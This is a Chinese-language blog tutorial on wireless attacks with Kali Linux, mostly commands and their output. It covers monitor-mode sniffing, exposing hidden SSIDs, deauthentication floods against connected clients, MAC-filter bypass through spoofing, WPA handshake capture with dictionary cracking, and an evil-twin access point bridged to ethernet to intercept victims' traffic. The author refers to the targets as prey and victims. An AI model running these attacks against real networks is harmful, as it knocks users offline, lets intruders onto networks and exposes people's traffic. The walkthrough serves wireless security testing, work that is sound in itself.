摸索Kali-linux无线渗透(1)

记录一下摸索使用kali进行无线网络渗透的过程,掌握常用的无线渗透手段可以评估一个无线网络(wifi)的安全性。

安装kali

  • kali官网下载kali安装包
  • 然后参考如何在物理机上使用U盘安装Kali系统(注意一下制作安装盘时选中格式化为fat32),在你的笔记本(台式机的话kali有可能没有你的usb无线网卡驱动)上安装kali。或者你有其他方法安装kali,都可以。

查看网卡参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ifconfig
eth0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 10:bf:48:02:1d:e0 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 980 bytes 78876 (77.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 980 bytes 78876 (77.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.208 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::999:4462:44fd:1e99 prefixlen 64 scopeid 0x20<link>
ether c0:18:85:1f:0b:0d txqueuelen 1000 (Ethernet)
RX packets 1588 bytes 433275 (423.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1018 bytes 93996 (91.7 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

下面的wlan0或者以wlan打头的网卡就是你的无线网卡了,这里可以看到无线网卡的ip地址mac地址等等参数。

1
2
3
4
5
6
7
8
9
10
$ iwconfig 
wlan0 IEEE 802.11 ESSID:"Lycon_2.4G"
Mode:Managed Frequency:2.412 GHz Access Point: 88:25:93:58:B4:E9
Bit Rate=108 Mb/s Tx-Power=15 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=67/70 Signal level=-43 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:1 Invalid misc:798 Missed beacon:0

使用iwconfig可以看到无线网卡当前的wlan参数:

  • ESSID为无线网卡当前连接的wifi名称
  • Frequency为所在的信道的频率
  • Access Point为AP的mac地址
  • 还有其他的一些参数等等

扫描wifi信号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ iwlist wlan0 scan
wlan0 Scan completed :
Cell 01 - Address: 88:25:93:58:B4:E9
Channel:1
Frequency:2.412 GHz (Channel 1)
Quality=61/70 Signal level=-49 dBm
Encryption key:on
ESSID:"Lycon_2.4G"
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s
Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master
Extra:tsf=00000017b6a8c44f
Extra: Last beacon: 12ms ago
......(other useless parameters)
Cell 02 - Address: xxx
Cell 03 - Address: xxx

这个命令展示你的无线网卡能搜索到当前范围的wifi信号以及各个信号的参数,包括

  • Address为AP的mac地址
  • Channel为AP所在的信道,一个信道对应一个2.4G周围的频率(Frequency),比如信道1的频率是2.412 GHz。我们只需要关心Channel即可。
  • Signal level为信号强度,绝对值越小,信号越强。
  • Encryption key表示wifi是否加密。
  • ESSID是wifi的名称,无需解释。

设置监听模式

  • 因为wifi的所有封包,包括管理帧,数据帧都是在空气中传播的,所以只要将任意设备的无线网卡设置到想要嗅探的信道上就能嗅探这个信道的数据帧了;
  • 我们需要把无线网卡设置为监听模式,并将其设置到合适的信道,这样才能捕获这个信道内的封包。

使用下面的命令将无线网卡设置为监听模式:

1
$ airmon-ng start wlan0

使用ifconfig查看新增的网卡:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ifconfig
eth0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 10:bf:48:02:1d:e0 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 988 bytes 79272 (77.4 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 988 bytes 79272 (77.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
unspec C0-18-85-1F-0B-0D-30-3A-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
RX packets 12117 bytes 2184763 (2.0 MiB)
RX errors 0 dropped 12117 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0mon便是新增的网卡了,带mon的网卡就表示监听(monitor)模式。
然后设置网卡的信道,比如信道11:

1
$ iwconfig wlan0mon channel 11

使用抓包工具抓包

抓包工具,可视化的有wireshark

1
$ wireshark &

命令行的是tcpdump

1
$ tcpdump -ni wlan0mon [过滤条件] [-w 要写入文件名]

常用的就是这样,具体的参数选项请查看man tcpdump

tcpdump写入的文件最后可以由wireshark打开,所以用tcpdump抓包写入文件,然后用wireshark打开比较方便。当然使用wireshark直接保存文件也可以。

查看管理帧

使用iwlist wlan0mon scan查看你的目标AP处于哪个信道,然后设置你的网卡到那个信道:

1
$ iwconfig wlan0mon channel N

然后开启wireshark进行抓包:

1
$ wireshark &

  • 设置过滤条件为wlan.fc.type_subtype == 8,可以查看你的目标AP发出的beacon帧,当然也有该信道其他AP发出的beacon帧。
  • 设置过滤条件为wlan.addr == 你的手机的mac地址,可以查看你的手机连接wifi的握手包以及你的手机发出的数据包等等。
  • 还有很多不同的过滤条件可以用来查看不同用途的封包,抓包工具是渗透利器。

未加密的wifi传输的都是明文包,别人可以轻而易举地用抓包工具查看你的数据,加密的(也就是有密码的wifi)的wifi传输的封包从网络层开始就是加密了的,我们抓到的数据包只有链路层数据是没有加密的,因此仍然可以获得所有AP的mac地址以及连接到这些AP的客户端(比如手机)的mac地址。

揪出隐藏的SSID

获得隐藏SSID的mac地址

最好是你已经事先知道了猎物的mac地址,这样就可以直接进入下一步。

有些wifi为了防蹭网是设置为隐藏的,其实就是把广播beacon帧给关掉了,那么如何引蛇出洞呢。
执行下面的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ airodump-ng wlan0mon
CH 3 ][ Elapsed: 12 s ][ 2018-03-27 20:11

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

8C:A6:DF:E0:A3:36 -42 32 12 0 11 54e. WPA2 CCMP PSK TP-LINK_A336-nanshangnan
B8:F8:83:ED:D7:E7 -59 12 5 0 11 54e. WPA2 CCMP PSK TP-LINK_A336-nanshangnan
C4:36:55:77:E1:6E -46 15 168 20 11 54e. WPA2 CCMP PSK nyh2
1C:60:DE:0E:4D:08 -62 13 0 0 1 54e. WPA2 CCMP PSK Lycon_wds
C0:61:18:D0:90:04 -27 8 68 5 1 54e. WPA2 CCMP PSK FAST_D09004
44:97:5A:86:FB:30 -63 15 0 0 1 54e WPA2 CCMP PSK daiwei
D2:83:04:4C:57:2F -66 27 0 0 11 54e. WPA2 CCMP PSK 360WiFi-0253BA
88:25:93:58:B4:E9 -51 25 0 0 1 54e. WPA2 CCMP PSK Lycon_2.4G
08:10:79:66:C6:16 -77 11 0 0 6 54e WPA2 CCMP PSK Netcore_66C616
60:08:10:69:74:D0 -74 11 0 0 3 54e WPA2 CCMP PSK CMCC-99
70:AF:6A:55:FA:77 -77 6 0 0 11 54e. WPA2 CCMP PSK 360WiFi-55FA77
2C:9D:1E:DA:10:24 -76 5 0 0 5 54e WPA2 CCMP PSK CMCC-RvxW
08:10:77:60:7E:FC -77 2 0 0 6 54e WPA2 CCMP PSK lsh
68:CC:6E:7E:4A:68 -77 3 0 0 1 54e WPA2 CCMP PSK CMCC-2t
1C:60:DE:3B:50:36 -77 5 0 0 11 54e. WPA2 CCMP PSK MERCURY_5036
3C:E8:24:A5:1C:38 -77 16 0 0 10 54e WPA2 CCMP PSK CMCC-tv7G
08:10:78:CD:B0:78 -79 0 3 0 6 -1 WPA <length: 0>
04:B0:E7:1F:8F:54 -78 14 0 0 11 54e WPA2 CCMP PSK CMCC-Abby

看到ESSID<length: 0>的AP了吗,那就是隐藏的wifi,左边的BSSID就是它的mac地址了,我们可以看到它的mac地址为08:10:78:CD:B0:78,有了mac地址接下来就可以进行进一步的操作了。

关键还是得有人在用这个wifi,没有数据产生的话就GG吧。

抓取包含SSID的封包

在wireshark中输入过滤条件:

1
wlan.bssid==08:10:78:CD:B0:78 && !(wlan.fc.type_subtype!=8)

监控所有发往或来自AP的非信标封包,接下来的操作准备要引出这些包含SSID信息的封包。

注入解除验证封包

1
$ aireplay-ng wlan0mon -0 10 -a <mac地址>

这个命令是让你的笔记本伪装成AP对所有连接的客户端发起解除验证攻击,强迫所有的客户端断开连接并重连,发出这个命令后你的wireshark应该能抓到一些包了,查看里面的SSID字段就可以知道隐藏的SSID名称了。

这里我们第一次用到了解除验证攻击,使用无线设备伪装为指定AP向连接的客户端持续广播解除验证封包,使所有客户端无法正常连接AP,这就是典型的拒绝服务(DoS)攻击

绕过mac绑定

路由器通常有一个功能叫做mac绑定,就是拒绝白名单以外的mac地址连接,那么只要找到你的目标AP连接的客户端的mac地址列表,就可以得到白名单中的mac地址(其中一部分)了,使用macchanger命令修改你的笔记本的mac地址吧。

获得白名单mac地址

首先用iwlist wlan0mon scan命令查看你的目标AP处于哪个信道以及它的mac地址,然后:

1
2
3
4
5
6
7
8
9
10
11
$ airodump-ng wlan0mon --bssid <mac> -c <信道> -a
CH 1 ][ Elapsed: 12 s ][ 2018-03-27 20:45 ][ interface wlan0 down

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

88:25:93:58:B4:E9 -37 87 155 9 0 1 54e. WPA2 CCMP PSK Lycon_2.4G

BSSID STATION PWR Rate Lost Frames Probe

88:25:93:58:B4:E9 B4:30:52:64:3A:42 -32 0 - 6 0 1
88:25:93:58:B4:E9 00:5A:39:B7:E1:47 -36 0 - 1e 5 4

  • STATION下面的mac地址便是白名单了;
  • 如果有人在上网,那么很快就可以获得白名单的mac地址,如果迟迟得不到,可以使用上面的解除验证攻击迫使客户端断开并重连,这样就可以获得客户端的mac地址了;
  • 如果根本没人连这个wifi,就没办法了…

修改mac地址

执行airmon-ng stop wlan0mon关闭混杂模式后,修改无线网卡的mac地址:

1
$ macchanger wlan0 --mac=xx:xx:xx:xx:xx:xx

成功完成伪装。

破解WPA/WPA2口令

因为WEP加密属于对称加密,并且由于各种缺陷太容易破解,现在基本没人用了,所以也就不研究了。

基本思路就是对你的目标AP连接的所有客户端发起解除验证攻击,然后它们会自动重连,这时抓取 握手包 ,然后使用crack工具破解这个握手包就可以得到口令了。

准备抓取握手包

找到你的目标AP的mac地址和信道,然后监控它,并将数据写入文件

1
$ airodump-ng wlan0mon --bssid <mac> -c 信道 -w key

注入解除验证封包

跟前几次一样,发起解除验证攻击,打开另一个窗口,输入如下命令:

1
$ aireplay-ng wlan0mon -0 10 -a <mac地址>

获取握手包

观察你之前输入的airdump-ng命令的输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ airodump-ng wlan0mon --bssid 88:25:93:58:B4:E9 -c 1 -w key

CH 1 ][ Elapsed: 36 s ][ 2018-03-27 21:04 ][ WPA handshake: 88:25:93:58:B4:E9

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

88:25:93:58:B4:E9 -40 0 373 61 2 1 54e. WPA2 CCMP PSK Lycon_2.4G

BSSID STATION PWR Rate Lost Frames Probe

88:25:93:58:B4:E9 00:5A:39:B7:E1:47 -25 1e- 1e 0 50
88:25:93:58:B4:E9 B4:30:52:64:3A:42 -47 0 - 6 0 1
88:25:93:58:B4:E9 1C:60:DE:0E:4D:08 -67 1e- 1 0 8

如果观察到第一行出现WPA handshake字样,那么恭喜你完成了破解口令的第一步,抓到了握手包,握手包就在当前目录下,以key开头,后缀名为.cap,我这里是key-01.cap

破解握手包

因为WPA属于单向加密,因此只能通过查字典的方式进行暴力破解,假设你的字典里没有这个口令破解就会失败,而且加密运算是及其耗时的一项工作,因此口令如果比较复杂,破解成功的概率是微乎其微的。

输入如下命令:

1
$ aircrack-ng key-01.cap -w 字典文件

如果破解成功:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ aircrack-ng key-01.cap -w /usr/share/wordlists/nmap.lst

Aircrack-ng 1.2 rc4

[00:00:01] 1516/1557 keys tested (1492.38 k/s)

Time left: 0 seconds 97.37%

KEY FOUND! [ 01234567 ]


Master Key : 96 89 E8 C9 04 E7 47 9A 35 EC A0 7F D0 81 F0 5C
3D C0 59 87 D1 4F FF E0 23 D1 14 03 88 67 AD D6

Transient Key : 65 ED 1C 8D 72 0F F9 4D 59 0A 77 A9 DC 0C 9B 65
00 87 90 E1 C4 2A 85 6A C3 2B D2 83 AB 06 77 D2
E4 CF ED 27 9B 77 B0 DC 22 04 B0 79 A7 E8 69 6D
2A 9A 8F 20 6E E1 D3 91 F3 64 53 79 8B 35 40 A3

EAPOL HMAC : 78 1F 07 E4 2F C9 31 11 DE D8 A2 F7 12 20 98 82

恭喜你!密码为01234567,前提是你的字典里有01234567这个口令。

伪造AP

伪造AP让你的目标客户端连接到你的AP是后续一些攻击的准备工作。

使用airbase-ng伪造AP

使用airmon-ng命令开启无线网卡混杂模式后,使用airodump-ng观察你想要竞争的AP的mac地址ESSID,以及它的信道
然后使用airbase-ng创建AP:

1
$ airbase-ng wlan0mon --essid <网络名称> [-a <mac地址>] [-c <信道>]

若不指定mac地址,将使用无线网卡的mac地址,若不指定信道,将自动选择信道。
一般情况要指定 essid、mac地址和信道均和原AP相同,这样受害者就无法区分两个AP了。

另外,airbase-ng-W-z-Z选项可以指定AP的加密模式,例如:

1
2
3
$ airbase-ng wlan0mon --essid <ESSID> -a <mac地址> -W 1  #for WEP
$ airbase-ng wlan0mon --essid <ESSID> -a <mac地址> -z 2 #for WPA
$ airbase-ng wlan0mon --essid <ESSID> -a <mac地址> -Z 2 #for WPA2

但是这样客户端就无法直接连接到你的AP了,并且密码提交时也无法提取密码,因此意义不大。

创建完成后,可以发现airodump-ng命令也无法区分两个AP了,AP列表只出现了一个BSSID:

1
2
3
4
5
6
7
8
9
10
11
12
$ airodump-ng wlan0mon --essid Lycon_2.4G -c1 -a

CH 1 ][ Elapsed: 30 s ][ 2018-03-31 15:28

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

88:25:93:58:B4:E9 0 100 1022 11 0 1 54e WPA2 CCMP PSK Lycon_2.4G

BSSID STATION PWR Rate Lost Frames Probe

88:25:93:58:B4:E9 00:5A:39:B7:E1:47 -18 0 -24e 0 5
88:25:93:58:B4:E9 5C:F5:DA:5E:64:E8 -89 0 -11 0 3

下一步就是对其发起解除验证攻击:

1
$ aireplay-ng wlan0mon -0 5 -a 88:25:93:58:B4:E9

若你的假AP信号比原来的AP强,那么客户端就有可能连接到你的假AP上。

1
2
3
4
5
6
$ airbase-ng wlan0mon --essid Lycon_2.4G -a 88:25:93:58:B4:E9  -c1
15:33:30 Created tap interface at0
15:33:30 Trying to set MTU on at0 to 1500
15:33:30 Trying to set MTU on wlan0mon to 1800
15:33:30 Access Point with BSSID 88:25:93:58:B4:E9 started.
15:33:45 Client 18:F0:E4:35:D1:EE associated (unencrypted) to ESSID: "Lycon_2.4G"

我这里可以观察到mac为18:F0:E4:35:D1:EE的客户端连接到我伪造的AP上了,而且是未加密的(unencrypted)。但是这样的连接客户端是无法上网的,猎物马上就发现问题了。所以我们需要进入下一步,把热点和以太网网卡进行桥接。

桥接AP和以太网

执行iwconfig观察刚刚创建的AP:

1
2
3
4
5
6
7
8
9
10
$ iwconfig
at0 no wireless extensions.

eth0 no wireless extensions.

wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.412 GHz Tx-Power=14 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

lo no wireless extensions.

上面的at0就是我们用airbase-ng创建的虚拟网卡。

看一下你的电脑上是否已经安装brctl命令,如果还没有安装,执行下面的命令安装:

1
$ apt-get install bridge-utils

然后执行下面的命令:

1
2
3
4
5
6
7
$ brctl addbr wifi-bridge                  #添加桥
$ brctl addif wifi-bridge eth0 #将eth0加入桥
$ brctl addif wifi-bridge at0 #将AP加入桥
$ ifconfig eth0 0.0.0.0 up #启动接口eth0
$ ifconfig at0 0.0.0.0 up #启动接口at0
$ echo 1 > /proc/sys/net/ipv4/ip_forward #启用转发
$ ifconfig wifi-bridge 192.168.xxx.xxx up #制定桥IP地址

最后一步,制定桥的IP地址很关键,如果没有指定,笔记本和连接假AP的客户端无法上网。

当然你可以用另一个无线网卡代替eth0实现上网,但是kali很可能没有usb无线网卡的驱动,这是个难题。

  • 这样就完成了桥接,可以理解为把笔记本配置成了一台 无线交换机at0就是AP网卡,eth0就是能上网的以太网网卡,这两个网卡桥接在了一起实现了数据交换。理论上连接到你的AP的客户端就可以通过eth0上网了;
  • 好了,由于所有流量都从无线端(at0)转发到以太网(eth0),我们可以在笔记本上开启wireshark,随心所欲地嗅探受害者的封包(在 at0 接口上监听)了,而且还是未加密的数据。前提是你的主机发出的伪装AP信号够强,性能够好,能够承载受害者的所有流量。这是典型的中间人(MITM)攻击。
  • 发送密码的请求可以用过滤条件http.request.method=="POST"抓获,当然这是加密的,看不到密码。
-------------本文结束感谢您的阅读-------------